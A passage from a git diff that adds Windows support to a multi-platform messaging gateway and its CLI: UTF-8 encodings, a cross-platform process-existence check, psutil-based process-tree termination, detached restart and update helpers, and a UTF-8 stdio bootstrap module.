b/gateway/platforms/telegram.py @@ -744,7 +744,7 @@ class TelegramAdapter(BasePlatformAdapter): return import yaml as _yaml - with open(config_path, "r") as f: + with open(config_path, "r", encoding="utf-8") as f: config = _yaml.safe_load(f) or {} # Navigate to platforms.telegram.extra.dm_topics @@ -3516,7 +3516,7 @@ class TelegramAdapter(BasePlatformAdapter): return import yaml as _yaml - with open(config_path, "r") as f: + with open(config_path, "r", encoding="utf-8") as f: config = _yaml.safe_load(f) or {} dm_topics = ( diff --git a/gateway/platforms/whatsapp.py b/gateway/platforms/whatsapp.py index ec454870393..8e21736441c 100644 --- a/gateway/platforms/whatsapp.py +++ b/gateway/platforms/whatsapp.py @@ -21,6 +21,7 @@ import logging import os import platform import re +import shutil import signal import subprocess @@ -106,12 +107,15 @@ def _kill_stale_bridge_by_pidfile(session_path: Path) -> None: except OSError: pass return - try: - os.kill(pid, 0) # check existence - os.kill(pid, signal.SIGTERM) - logger.info("[whatsapp] Killed stale bridge PID %d from pidfile", pid) - except (ProcessLookupError, PermissionError, OSError): - pass + # ``os.kill(pid, 0)`` is NOT a no-op on Windows (bpo-14484) — use the + # cross-platform existence check before sending a real signal. + from gateway.status import _pid_exists + if _pid_exists(pid): + try: + os.kill(pid, signal.SIGTERM) + logger.info("[whatsapp] Killed stale bridge PID %d from pidfile", pid) + except (ProcessLookupError, PermissionError, OSError): + pass try: pid_file.unlink() except OSError: @@ -151,10 +155,26 @@ def _terminate_bridge_process(proc, *, force: bool = False) -> None: raise OSError(details or f"taskkill failed for PID {proc.pid}") return - import signal - - sig = signal.SIGTERM if not force else signal.SIGKILL - os.killpg(os.getpgid(proc.pid), sig) + import psutil + try: + parent = psutil.Process(proc.pid) + children = parent.children(recursive=True) + if force: + for child in children: + try: + child.kill() + except psutil.NoSuchProcess: + pass + parent.kill() + else: + for child in children: + try: + child.terminate() + except psutil.NoSuchProcess: + pass + parent.terminate() + except psutil.NoSuchProcess: + return import sys sys.path.insert(0, str(Path(__file__).resolve().parents[2])) @@ -177,10 +197,15 @@ def check_whatsapp_requirements() -> bool: WhatsApp requires a Node.js bridge for most implementations. """ - # Check for Node.js + # Check for Node.js. Resolve via shutil.which so we respect PATHEXT + # (node.exe vs node) and get a meaningful "not installed" signal + # instead of spawning a cmd flash on Windows. + _node = shutil.which("node") + if not _node: + return False try: result = subprocess.run( - ["node", "--version"], + [_node, "--version"], capture_output=True, text=True, timeout=5 @@ -464,9 +489,13 @@ class WhatsAppAdapter(BasePlatformAdapter): bridge_dir = bridge_path.parent if not (bridge_dir / "node_modules").exists(): print(f"[{self.name}] Installing WhatsApp bridge dependencies...") + # Resolve npm path so Windows can execute the .cmd shim. + # shutil.which honours PATHEXT; on POSIX it returns the + # plain executable path. + _npm_bin = shutil.which("npm") or "npm" try: install_result = subprocess.run( - ["npm", "install", "--silent"], + [_npm_bin, "install", "--silent"], cwd=str(bridge_dir), capture_output=True, text=True, @@ -516,7 +545,7 @@ class WhatsAppAdapter(BasePlatformAdapter): # messages are preserved for troubleshooting. whatsapp_mode = os.getenv("WHATSAPP_MODE", "self-chat") self._bridge_log = self._session_path.parent / "bridge.log" - bridge_log_fh = open(self._bridge_log, "a") + bridge_log_fh = open(self._bridge_log, "a", encoding="utf-8") self._bridge_log_fh = bridge_log_fh # Build bridge subprocess environment. @@ -1160,7 +1189,7 @@ class WhatsAppAdapter(BasePlatformAdapter): if file_size > MAX_TEXT_INJECT_BYTES: print(f"[{self.name}] Skipping text injection for {doc_path} ({file_size} bytes > {MAX_TEXT_INJECT_BYTES})", flush=True) continue - content = Path(doc_path).read_text(errors="replace") + content = Path(doc_path).read_text(encoding="utf-8", errors="replace") fname = Path(doc_path).name # Remove the doc__ prefix for display display_name = fname diff --git a/gateway/run.py b/gateway/run.py index 69c8793f223..457dc60d757 100644 --- a/gateway/run.py +++ b/gateway/run.py @@ -13,6 +13,17 @@ Usage: python cli.py --gateway """ +# IMPORTANT: hermes_bootstrap must be the very first import — UTF-8 stdio +# on Windows. No-op on POSIX. See hermes_bootstrap.py for full rationale. +try: + import hermes_bootstrap # noqa: F401 +except ModuleNotFoundError: + # Graceful fallback when hermes_bootstrap isn't registered in the venv + # yet — happens during partial ``hermes update`` where git-reset landed + # new code but ``uv pip install -e .`` didn't finish. Missing bootstrap + # means UTF-8 stdio setup is skipped on Windows; POSIX is unaffected. + pass + import asyncio import dataclasses import inspect @@ -50,6 +61,7 @@ from hermes_cli.config import cfg_get _AGENT_CACHE_MAX_SIZE = 128 _AGENT_CACHE_IDLE_TTL_SECS = 3600.0 # evict agents idle for >1h _PLATFORM_CONNECT_TIMEOUT_SECS_DEFAULT = 30.0 +_ADAPTER_DISCONNECT_TIMEOUT_SECS_DEFAULT = 5.0 _TELEGRAM_COMMAND_MENTION_RE = re.compile(r"(? float: + """Return the per-adapter disconnect timeout used during shutdown.""" + raw = os.getenv("HERMES_GATEWAY_ADAPTER_DISCONNECT_TIMEOUT", "").strip() + if raw: + try: + timeout = float(raw) + except ValueError: + logger.warning( + "Ignoring invalid HERMES_GATEWAY_ADAPTER_DISCONNECT_TIMEOUT=%r", + raw, + ) + else: + return max(0.0, timeout) + return _ADAPTER_DISCONNECT_TIMEOUT_SECS_DEFAULT + def _platform_connect_timeout_secs(self) -> float: """Return the per-platform connect timeout used during startup/retry.""" raw = os.getenv("HERMES_GATEWAY_PLATFORM_CONNECT_TIMEOUT", "").strip() @@ -2880,6 +2917,74 @@ class GatewayRunner: return current_pid = os.getpid() + + # On Windows there's no bash/setsid chain — spawn a tiny Python + # watcher directly via sys.executable instead. The watcher polls + # current_pid, waits for our exit, then runs `hermes gateway + # restart` with detach flags so the respawn survives the CLI + # that triggered the /restart command closing its console. + if sys.platform == "win32": + import textwrap + from hermes_cli._subprocess_compat import windows_detach_popen_kwargs + + cmd_argv = [*hermes_cmd, "gateway", "restart"] + watcher = textwrap.dedent( + """ + import os, subprocess, sys, time + pid = int(sys.argv[1]) + cmd = sys.argv[2:] + deadline = time.monotonic() + 120 + + def _alive(p): + # On Windows, os.kill(pid, 0) is NOT a no-op — it maps to + # GenerateConsoleCtrlEvent(0, pid) (bpo-14484). Use the + # Win32 handle-based existence check instead. + if os.name == 'nt': + import ctypes + k32 = ctypes.windll.kernel32 + k32.OpenProcess.restype = ctypes.c_void_p + k32.WaitForSingleObject.restype = ctypes.c_uint + k32.GetLastError.restype = ctypes.c_uint + h = k32.OpenProcess(0x1000 | 0x100000, False, int(p)) + if not h: + return k32.GetLastError() != 87 + try: + return k32.WaitForSingleObject(h, 0) == 0x102 + finally: + k32.CloseHandle(h) + try: + os.kill(int(p), 0) + return True + except ProcessLookupError: + return False + except PermissionError: + return True + except OSError: + return False + + while time.monotonic() < deadline: + if not _alive(pid): + break + time.sleep(0.2) + _CREATE_NEW_PROCESS_GROUP = 0x00000200 + _DETACHED_PROCESS = 0x00000008 + _CREATE_NO_WINDOW = 0x08000000 + subprocess.Popen( + cmd, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + creationflags=_CREATE_NEW_PROCESS_GROUP | _DETACHED_PROCESS | _CREATE_NO_WINDOW, + ) + """ + ).strip() + subprocess.Popen( + [sys.executable, "-c", watcher, str(current_pid), *cmd_argv], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + **windows_detach_popen_kwargs(), + ) + return + cmd = " ".join(shlex.quote(part) for part in hermes_cmd) shell_cmd = ( f"while kill -0 {current_pid} 2>/dev/null; do sleep 0.2; done; " @@ -11464,30 +11569,78 @@ class GatewayRunner: # where systemd-run --user fails due to missing D-Bus session). # PYTHONUNBUFFERED ensures output is flushed line-by-line so the # gateway can stream it to the messenger in near-real-time. - hermes_cmd_str = " ".join(shlex.quote(part) for part in hermes_cmd) - update_cmd = ( - f"PYTHONUNBUFFERED=1 {hermes_cmd_str} update --gateway" - f" > {shlex.quote(str(output_path))} 2>&1; " - f"status=$?; printf '%s' \"$status\" > {shlex.quote(str(exit_code_path))}" - ) + # Spawn `hermes update --gateway` detached so it survives gateway restart. + # --gateway enables file-based IPC for interactive prompts (stash + # restore, config migration) so the gateway can forward them to the + # user instead of silently skipping them. + # Use setsid for portable session detach (works under system services + # where systemd-run --user fails due to missing D-Bus session). + # PYTHONUNBUFFERED ensures output is flushed line-by-line so the + # gateway can stream it to the messenger in near-real-time. + # + # Windows: no bash/setsid chain. Run `hermes update --gateway` + # directly via sys.executable; redirect stdout/stderr to the same + # output files via Popen file handles; write the exit code in a + # follow-up write. A tiny Python watcher would be cleaner but + # we're already inside gateway/run.py's update path which is async, + # so the simplest correct thing is: launch an inline Python helper + # that runs the command and writes both outputs. try: - setsid_bin = shutil.which("setsid") - if setsid_bin: - # Preferred: setsid creates a new session, fully detached + if sys.platform == "win32": + import textwrap + from hermes_cli._subprocess_compat import windows_detach_popen_kwargs + + # hermes_cmd is a list of argv parts we can pass directly + # (no shell-quoting needed). + helper = textwrap.dedent( + """ + import os, subprocess, sys + output_path = sys.argv[1] + exit_code_path = sys.argv[2] + cmd = sys.argv[3:] + env = dict(os.environ) + env["PYTHONUNBUFFERED"] = "1" + with open(output_path, "wb") as f: + proc = subprocess.Popen(cmd, stdout=f, stderr=subprocess.STDOUT, env=env) + rc = proc.wait() + with open(exit_code_path, "w") as f: + f.write(str(rc)) + """ + ).strip() subprocess.Popen( - [setsid_bin, "bash", "-c", update_cmd], + [ + sys.executable, "-c", helper, + str(output_path), str(exit_code_path), + *hermes_cmd, "update", "--gateway", + ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, - start_new_session=True, + **windows_detach_popen_kwargs(), ) else: - # Fallback: start_new_session=True calls os.setsid() in child - subprocess.Popen( - ["bash", "-c", update_cmd], - stdout=subprocess.DEVNULL, - stderr=subprocess.DEVNULL, - start_new_session=True, + hermes_cmd_str = " ".join(shlex.quote(part) for part in hermes_cmd) + update_cmd = ( + f"PYTHONUNBUFFERED=1 {hermes_cmd_str} update --gateway" + f" > {shlex.quote(str(output_path))} 2>&1; " + f"status=$?; printf '%s' \"$status\" > {shlex.quote(str(exit_code_path))}" ) + setsid_bin = shutil.which("setsid") + if setsid_bin: + # Preferred: setsid creates a new session, fully detached + subprocess.Popen( + [setsid_bin, "bash", "-c", update_cmd], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + start_new_session=True, + ) + else: + # Fallback: start_new_session=True calls os.setsid() in child + subprocess.Popen( + ["bash", "-c", update_cmd], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + start_new_session=True, + ) except Exception as e: pending_path.unlink(missing_ok=True) exit_code_path.unlink(missing_ok=True) @@ -15264,13 +15417,14 @@ async def start_gateway(config: Optional[GatewayConfig] = None, replace: bool = except Exception: pass return False - # Wait up to 10 seconds for the old process to exit + # Wait up to 10 seconds for the old process to exit. + # ``os.kill(pid, 0)`` on Windows is NOT a no-op — use the + # handle-based existence check instead. + from gateway.status import _pid_exists for _ in range(20): - try: - os.kill(existing_pid, 0) - time.sleep(0.5) - except (ProcessLookupError, PermissionError): + if not _pid_exists(existing_pid): break # Process is gone + time.sleep(0.5) else: # Still alive after 10s — force kill logger.warning( @@ -15436,12 +15590,12 @@ async def start_gateway(config: Optional[GatewayConfig] = None, replace: bool = if threading.current_thread() is threading.main_thread(): for sig in (signal.SIGINT, signal.SIGTERM): try: - loop.add_signal_handler(sig, shutdown_signal_handler, sig) + loop.add_signal_handler(sig, shutdown_signal_handler, sig) # windows-footgun: ok — wrapped in try/except NotImplementedError for Windows except NotImplementedError: pass if hasattr(signal, "SIGUSR1"): try: - loop.add_signal_handler(signal.SIGUSR1, restart_signal_handler) + loop.add_signal_handler(signal.SIGUSR1, restart_signal_handler) # windows-footgun: ok — POSIX signal, guarded by hasattr above + try/except NotImplementedError except NotImplementedError: pass else: @@ -15554,6 +15708,14 @@ async def start_gateway(config: Optional[GatewayConfig] = None, replace: bool = def main(): """CLI entry point for the gateway.""" + # Force UTF-8 stdio on Windows — gateway logs and startup banner would + # otherwise UnicodeEncodeError on cp1252 consoles. No-op on POSIX. + try: + from hermes_cli.stdio import configure_windows_stdio + configure_windows_stdio() + except Exception: + pass + import argparse parser = argparse.ArgumentParser(description="Hermes Gateway - Multi-platform messaging") diff --git a/gateway/status.py b/gateway/status.py index bdff9aa988d..afe969572dd 100644 --- a/gateway/status.py +++ b/gateway/status.py @@ -113,7 +113,7 @@ def _get_process_start_time(pid: int) -> Optional[int]: stat_path = Path(f"/proc/{pid}/stat") try: # Field 22 in /proc//stat is process start time (clock ticks). - return int(stat_path.read_text().split()[21]) + return int(stat_path.read_text(encoding="utf-8").split()[21]) except (FileNotFoundError, IndexError, PermissionError, ValueError, OSError): return None @@ -197,7 +197,7 @@ def _read_json_file(path: Path) -> Optional[dict[str, Any]]: if not path.exists(): return None try: - raw = path.read_text().strip() + raw = path.read_text(encoding="utf-8").strip() except OSError: return None if not raw: @@ -299,6 +299,81 @@ def _try_acquire_file_lock(handle) -> bool: return False +def _pid_exists(pid: int) -> bool: + """Cross-platform "is this PID alive" check that does NOT kill the target. + + CRITICAL on Windows: Python's ``os.kill(pid, 0)`` is NOT a no-op like it + is on POSIX. CPython's Windows implementation + (``Modules/posixmodule.c::os_kill_impl``) treats ``sig=0`` as + ``CTRL_C_EVENT`` because the two values collide at the C level, and + routes it through ``GenerateConsoleCtrlEvent(0, pid)`` — which sends + a Ctrl+C to the entire console process group containing the target + PID, not just the PID itself. Any caller that wanted to "check if + this PID is alive" via ``os.kill(pid, 0)`` on Windows was silently + killing that process (and often unrelated processes in the same + console group). Long-standing Python quirk; see bpo-14484. + + Implementation: prefer :mod:`psutil` (hard dependency — the canonical + cross-platform answer, maintained by Giampaolo Rodolà, uses + ``OpenProcess + GetExitCodeProcess`` on Windows internally). Fall back + to a hand-rolled ctypes ``OpenProcess`` / ``WaitForSingleObject`` pair + on Windows + ``os.kill(pid, 0)`` on POSIX if psutil is somehow + unavailable — e.g. stripped-down install or import error during the + scaffold phase before ``psutil`` is pip-installed. + """ + try: + import psutil # type: ignore + return bool(psutil.pid_exists(int(pid))) + except ImportError: + pass # Fall through to stdlib fallback. + + if _IS_WINDOWS: + try: + import ctypes + kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined] + # Pin return types — default ctypes restype is c_int (signed), + # which mangles WAIT_* DWORD return codes into negative numbers. + kernel32.OpenProcess.restype = ctypes.c_void_p + kernel32.WaitForSingleObject.restype = ctypes.c_uint + kernel32.GetLastError.restype = ctypes.c_uint + PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 + SYNCHRONIZE = 0x100000 # required for WaitForSingleObject + WAIT_TIMEOUT = 0x00000102 + ERROR_INVALID_PARAMETER = 87 + ERROR_ACCESS_DENIED = 5 + handle = kernel32.OpenProcess( + PROCESS_QUERY_LIMITED_INFORMATION | SYNCHRONIZE, False, int(pid) + ) + if not handle: + err = kernel32.GetLastError() + if err == ERROR_INVALID_PARAMETER: + return False # PID definitely gone + if err == ERROR_ACCESS_DENIED: + return True # Exists but owned by another user/session + return False # Conservative default for unknown errors + try: + wait_result = kernel32.WaitForSingleObject(handle, 0) + # WAIT_TIMEOUT = still running; anything else (WAIT_OBJECT_0 + # via exit, WAIT_FAILED via handle issue) = treat as gone. + return wait_result == WAIT_TIMEOUT + finally: + kernel32.CloseHandle(handle) + except (OSError, AttributeError): + return False + else: + try: + os.kill(int(pid), 0) # windows-footgun: ok — POSIX-only branch (the whole point of _pid_exists) + return True + except ProcessLookupError: + return False + except PermissionError: + # Process exists but we can't signal it — still alive. + return True + except OSError: + return False + + + def _release_file_lock(handle) -> None: try: if _IS_WINDOWS: @@ -503,10 +578,7 @@ def acquire_scoped_lock(scope: str, identity: str, metadata: Optional[dict[str, stale = existing_pid is None if not stale: - try: - os.kill(existing_pid, 0) - except (ProcessLookupError, PermissionError, OSError): - # Windows raises OSError with WinError 87 for invalid pid check + if not _pid_exists(existing_pid): stale = True else: current_start = _get_process_start_time(existing_pid) @@ -517,13 +589,13 @@ def acquire_scoped_lock(scope: str, identity: str, metadata: Optional[dict[str, ): stale = True # Check if process is stopped (Ctrl+Z / SIGTSTP) — stopped - # processes still respond to os.kill(pid, 0) but are not + # processes still appear alive to _pid_exists but are not # actually running. Treat them as stale so --replace works. if not stale: try: _proc_status = Path(f"/proc/{existing_pid}/status") if _proc_status.exists(): - for _line in _proc_status.read_text().splitlines(): + for _line in _proc_status.read_text(encoding="utf-8").splitlines(): if _line.startswith("State:"): _state = _line.split()[1] if _state in ("T", "t"): # stopped or tracing stop @@ -824,20 +896,7 @@ def get_running_pid( if pid is None: continue - try: - os.kill(pid, 0) # signal 0 = existence check, no actual signal sent - except ProcessLookupError: - continue - except PermissionError: - # The process exists but belongs to another user/service scope. - # With the runtime lock still held, prefer keeping it visible - # rather than deleting the PID file as "stale". - if _record_looks_like_gateway(record): - return pid - continue - except OSError: - # Windows raises OSError with WinError 87 for an invalid pid - # (process is definitely gone). Treat as "process doesn't exist". + if not _pid_exists(pid): continue recorded_start = record.get("start_time") diff --git a/hermes_bootstrap.py b/hermes_bootstrap.py new file mode 100644 index 00000000000..890336c3448 --- /dev/null +++ b/hermes_bootstrap.py @@ -0,0 +1,129 @@ +"""Windows UTF-8 bootstrap for Hermes entry points. + +Python on Windows has two long-standing text-encoding footguns: + +1. ``sys.stdout`` / ``sys.stderr`` are bound to the console code page + (``cp1252`` on US-locale installs), so ``print("café")`` crashes with + ``UnicodeEncodeError: 'charmap' codec can't encode character``. + +2. Child processes spawned via ``subprocess`` don't know to use UTF-8 + unless ``PYTHONUTF8`` and/or ``PYTHONIOENCODING`` are set in their + environment — so any Python subprocess (the execute_code sandbox, + delegation children, linter subprocesses, etc.) inherits the same + cp1252 defaults and hits the same UnicodeEncodeError. + +This module fixes both on Windows *only* — POSIX is untouched. It +should be imported at the very top of every Hermes entry point +(``hermes``, ``hermes-agent``, ``hermes-acp``, ``python -m gateway.run``, +``batch_runner.py``, ``cron/scheduler.py``) before any other imports +that might do file I/O or print to stdout. + +What this module does on Windows: + + - Sets ``os.environ["PYTHONUTF8"] = "1"`` (PEP 540 UTF-8 mode) so + every child process we spawn uses UTF-8 for ``open()`` and stdio. + - Sets ``os.environ["PYTHONIOENCODING"] = "utf-8"`` for belt-and- + suspenders — some tools read this instead of / in addition to + ``PYTHONUTF8``. + - Reconfigures ``sys.stdout`` / ``sys.stderr`` to UTF-8 in the current + process, using the ``reconfigure()`` API (Python 3.7+). This fixes + ``print("café")`` in the parent without a re-exec. + +What this module does NOT do: + + - It does not re-exec Python with ``-X utf8``, so ``open()`` calls in + the *current* process still default to locale encoding. Those need + an explicit ``encoding="utf-8"`` at the call site (lint rule + ``PLW1514`` / ``PYI058``). Ruff is the right tool for that sweep. + +What this module does on POSIX: + + - Nothing. POSIX systems are already UTF-8 by default in 99% of cases, + and we don't want to touch ``LANG``/``LC_*`` behavior that users may + have configured intentionally. If someone hits a C/POSIX locale on + Linux, they can export ``PYTHONUTF8=1`` themselves — we won't override. + +Idempotent: safe to call multiple times. ``_bootstrap_once`` guards +against double-reconfigure. +""" + +from __future__ import annotations + +import os +import sys + +_IS_WINDOWS = sys.platform == "win32" +_bootstrap_applied = False + + +def apply_windows_utf8_bootstrap() -> bool: + """Apply the Windows UTF-8 bootstrap if we're on Windows. + + Returns True if bootstrap was applied (i.e. we're on Windows and + haven't already done this), False otherwise. The return value is + advisory — callers normally don't need it, but tests may want to + assert the path was taken. + + Idempotent: subsequent calls after the first are a no-op. + """ + global _bootstrap_applied + + if not _IS_WINDOWS: + return False + if _bootstrap_applied: + return False + + # 1. Child processes inherit these and run in UTF-8 mode. + # We use setdefault() rather than overwriting so the user can + # explicitly opt out by setting PYTHONUTF8=0 in their environment + # (or PYTHONIOENCODING=something-else) if they really want to. + os.environ.setdefault("PYTHONUTF8", "1") + os.environ.setdefault("PYTHONIOENCODING", "utf-8") + + # 2. Reconfigure the current process's stdio to UTF-8. Needed + # because os.environ changes don't retroactively rebind sys.stdout + # — those were bound at interpreter startup based on the console + # code page. ``reconfigure`` is a TextIOWrapper method since 3.7. + # + # errors="replace" means that if we ever *read* something from + # stdin that isn't UTF-8 (unlikely but possible with piped input + # from legacy tools), we'll get U+FFFD replacement chars rather + # than a crash. Output is pure UTF-8. + for stream_name in ("stdout", "stderr"): + stream = getattr(sys, stream_name, None) + if stream is None: + continue + reconfigure = getattr(stream, "reconfigure", None) + if reconfigure is None: + # Not a TextIOWrapper (could be redirected to a BytesIO in + # tests, or a non-standard stream in some embedded cases). + # Skip silently — the env-var fix is still in effect for + # child processes, which is the bigger win. + continue + try: + reconfigure(encoding="utf-8", errors="replace") + except (OSError, ValueError): + # Already closed, or someone replaced it with something + # non-reconfigurable. Non-fatal. + pass + + # stdin is reconfigured separately with errors="replace" too — input + # from a legacy pipe shouldn't crash the process. + stdin = getattr(sys, "stdin", None) + if stdin is not None: + reconfigure = getattr(stdin, "reconfigure", None) + if reconfigure is not None: + try: + reconfigure(encoding="utf-8", errors="replace") + except (OSError, ValueError): + pass + + _bootstrap_applied = True + return True + + +# Apply on import — entry points just need ``import hermes_bootstrap`` +# (or ``from hermes_bootstrap import apply_windows_utf8_bootstrap``) at +# the very top of their module, before importing anything else. The +# import side effect does the right thing. +apply_windows_utf8_bootstrap() diff --git a/hermes_cli/_subprocess_compat.py b/hermes_cli/_subprocess_compat.py new file mode 100644 index 00000000000..941728be8ea --- /dev/null +++ b/hermes_cli/_subprocess_compat.py @@ -0,0 +1,175 @@ +"""Windows subprocess compatibility helpers. + +Hermes is developed on Linux / macOS and tested natively on Windows too. +Several common subprocess patterns break silently-or-loudly on Windows: + +* ``["npm", "install", ...]`` — on Windows ``npm`` is ``npm.cmd``, a batch + shim. ``subprocess.Popen(["npm", ...])`` fails with WinError 193 + ("not a valid Win32 application") because CreateProcessW can't run a + ``.cmd`` file without ``shell=True`` or PATHEXT resolution. + +* ``start_new_session=True`` — on POSIX, this maps to ``os.setsid()`` and + actually detaches the child. On Windows it's silently ignored; the + Windows equivalent is ``CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS`` + creationflags, which Python only applies when you pass them explicitly. + +* Console-window flashes — every ``subprocess.Popen`` of a ``.exe`` on + Windows spawns a cmd window briefly unless ``CREATE_NO_WINDOW`` is + passed. Cosmetic but jarring for background daemons. + +This module centralizes the platform-branching logic so the rest of the +codebase doesn't sprinkle ``if sys.platform == "win32":`` everywhere. + +**All helpers are no-ops on non-Windows** — calling them in Linux/macOS +code paths is safe by design. That's the "do no damage on POSIX" +guarantee. +""" + +from __future__ import annotations + +import os +import shutil +import subprocess +import sys +from typing import Optional, Sequence + +__all__ = [ + "IS_WINDOWS", + "resolve_node_command", + "windows_detach_flags", + "windows_hide_flags", + "windows_detach_popen_kwargs", +] + + +IS_WINDOWS = sys.platform == "win32" + + +# ----------------------------------------------------------------------------- +# Node ecosystem launcher resolution +# ----------------------------------------------------------------------------- + + +def resolve_node_command(name: str, argv: Sequence[str]) -> list[str]: + """Resolve a Node-ecosystem command name to an absolute-path argv. + + On Windows, commands like ``npm``, ``npx``, ``yarn``, ``pnpm``, + ``playwright``, ``prettier`` ship as ``.cmd`` files (batch shims). + ``subprocess.Popen(["npm", "install"])`` fails with WinError 193 + because CreateProcessW doesn't execute batch files directly. + + ``shutil.which(name)`` *does* resolve ``.cmd`` via PATHEXT and returns + the fully-qualified path — which CreateProcessW accepts because the + extension tells Windows to route through ``cmd.exe /c``. + + On POSIX ``shutil.which`` also returns a fully-qualified path when + found. That's a small change from bare-name resolution (the OS does + its own PATH search) but functionally identical and has the side + benefit of making the argv reproducible in logs. + + Behavior when the command is not on PATH: + - On Windows: return the bare name — caller can still try with + ``shell=True`` as a last resort, OR the subsequent Popen will + raise FileNotFoundError with a readable error we want to surface. + - On POSIX: same. Bare ``npm`` on a Linux box without npm installed + fails the same way it did before this function existed. + + Args: + name: The command name to resolve (``npm``, ``npx``, ``node`` …). + argv: The remaining arguments. Must NOT include ``name`` itself — + this function builds the full argv list. + + Returns: + A list suitable for passing to subprocess.Popen/run/call. + """ + resolved = shutil.which(name) + if resolved: + return [resolved, *argv] + return [name, *argv] + + +# ----------------------------------------------------------------------------- +# Detached / hidden process creation +# ----------------------------------------------------------------------------- + + +# Win32 CreationFlags — defined here rather than imported from subprocess +# because CREATE_NO_WINDOW and DETACHED_PROCESS aren't guaranteed to be +# present on stdlib subprocess on older Pythons or non-Windows builds. +_CREATE_NEW_PROCESS_GROUP = 0x00000200 +_DETACHED_PROCESS = 0x00000008 +_CREATE_NO_WINDOW = 0x08000000 + + +def windows_detach_flags() -> int: + """Return Win32 creationflags that detach a child from the parent + console and process group. 0 on non-Windows. + + Pair with ``start_new_session=False`` (default) when calling + subprocess.Popen — on POSIX use ``start_new_session=True`` instead, + which maps to ``os.setsid()`` in the child. + + Rationale: + - ``CREATE_NEW_PROCESS_GROUP`` — child has its own process group so + Ctrl+C in the parent console doesn't propagate. + - ``DETACHED_PROCESS`` — child has no console at all. Necessary for + background daemons (gateway watchers, update respawners) because + without it, closing the console kills the child. + - ``CREATE_NO_WINDOW`` — suppress the brief cmd flash that would + otherwise appear when launching a console app. Redundant with + DETACHED_PROCESS but explicit for clarity. + """ + if not IS_WINDOWS: + return 0 + return _CREATE_NEW_PROCESS_GROUP | _DETACHED_PROCESS | _CREATE_NO_WINDOW + + +def windows_hide_flags() -> int: + """Return Win32 creationflags that merely hide the child's console + window without detaching the child. 0 on non-Windows. + + Use for short-lived console apps spawned as part of a larger + operation (``taskkill``, ``where``, version probes) where we want no + flash but also want to collect stdout/exit code synchronously. + + The key difference from :func:`windows_detach_flags`: NO + ``DETACHED_PROCESS`` — the child still inherits stdio handles so + ``capture_output=True`` works. ``DETACHED_PROCESS`` would sever + stdio and break stdout capture. + """ + if not IS_WINDOWS: + return 0 + return _CREATE_NO_WINDOW + + +def windows_detach_popen_kwargs() -> dict: + """Return a dict of Popen kwargs that detach a child on Windows and + fall back to the POSIX equivalent (``start_new_session=True``) on + Linux/macOS. + + Usage pattern: + + .. code-block:: python + + subprocess.Popen( + argv, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + stdin=subprocess.DEVNULL, + close_fds=True, + **windows_detach_popen_kwargs(), + ) + + This replaces the unsafe-on-Windows pattern: + + .. code-block:: python + + subprocess.Popen(..., start_new_session=True) + + which silently fails to detach on Windows (the flag is accepted but + has no effect — the child stays attached to the parent's console + and dies when the console closes). + """ + if IS_WINDOWS: + return {"creationflags": windows_detach_flags()} + return {"start_new_session": True} diff --git a/hermes_cli/auth.py b/hermes_cli/auth.py index 425ffb6f25e..42e2f720874 100644 --- a/hermes_cli/auth.py +++ b/hermes_cli/auth.py @@ -893,7 +893,7 @@ def _file_lock( if msvcrt and (not lock_path.exists() or lock_path.stat().st_size == 0): lock_path.write_text(" ", encoding="utf-8") - with lock_path.open("r+" if msvcrt else "a+") as lock_file: + with lock_path.open("r+" if msvcrt else "a+", encoding="utf-8") as lock_file: deadline = time.monotonic() + max(1.0, timeout_seconds) while True: try: @@ -2827,9 +2827,12 @@ def _poll_for_token( # import instead of running the full device-code flow every time. # # File lives at ${HERMES_SHARED_AUTH_DIR}/nous_auth.json, defaulting to -# ~/.hermes/shared/nous_auth.json. It is OUTSIDE any named profile's -# HERMES_HOME so named profiles (which typically live under -# ~/.hermes/profiles//) all see the same file. +# ``/shared/nous_auth.json`` where ```` is what +# ``get_default_hermes_root()`` returns — ``~/.hermes`` on Linux/macOS, +# ``%LOCALAPPDATA%\hermes`` on native Windows, or the Docker/custom root. +# It is OUTSIDE any named profile's HERMES_HOME so named profiles (which +# typically live under ``/profiles//``) all see the +# same file. # # Written on successful login and on every runtime refresh so the stored # refresh_token stays current even if one profile refreshes and rotates it. @@ -2846,25 +2849,33 @@ def _nous_shared_auth_dir() -> Path: Honors ``HERMES_SHARED_AUTH_DIR`` so tests can redirect it to a tmp path without touching the real user's home. Defaults to - ``~/.hermes/shared/``. + ``/shared/``, where ```` is what + :func:`hermes_constants.get_default_hermes_root` returns — so + Linux/macOS classic installs land at ``~/.hermes/shared/``, native + Windows installs at ``%LOCALAPPDATA%\\hermes\\shared\\``, and + Docker / custom ``HERMES_HOME`` deployments at + ``/shared/``. Sits outside any named profile so all + profiles under the same root share the store. """ override = os.getenv("HERMES_SHARED_AUTH_DIR", "").strip() if override: return Path(override).expanduser() - return Path.home() / ".hermes" / "shared" + from hermes_constants import get_default_hermes_root + return get_default_hermes_root() / "shared" def _nous_shared_store_path() -> Path: path = _nous_shared_auth_dir() / NOUS_SHARED_STORE_FILENAME # Seat belt: if pytest is running and this resolves to a path under the - # real user's home, refuse rather than silently corrupt cross-profile + # real user's Hermes root, refuse rather than silently corrupt cross-profile # state. Tests must set HERMES_SHARED_AUTH_DIR to a tmp_path (conftest # does not do this automatically — mirror the _auth_file_path() guard # so forgetting to set it fails loudly instead of writing to the real # shared store). if os.environ.get("PYTEST_CURRENT_TEST"): + from hermes_constants import get_default_hermes_root real_home_shared = ( - Path.home() / ".hermes" / "shared" / NOUS_SHARED_STORE_FILENAME + get_default_hermes_root() / "shared" / NOUS_SHARED_STORE_FILENAME ).resolve(strict=False) try: resolved = path.resolve(strict=False) diff --git a/hermes_cli/auth_commands.py b/hermes_cli/auth_commands.py index a29776aea23..4312f688a3f 100644 --- a/hermes_cli/auth_commands.py +++ b/hermes_cli/auth_commands.py @@ -246,7 +246,7 @@ def auth_add_command(args) -> None: if provider == "nous": # Codex-style auto-import: if a shared Nous credential lives at - # ~/.hermes/shared/nous_auth.json (written by any previous + # /shared/nous_auth.json (written by any previous # successful login), offer to import it instead of running the # full device-code flow. This makes `hermes --profile # auth add nous 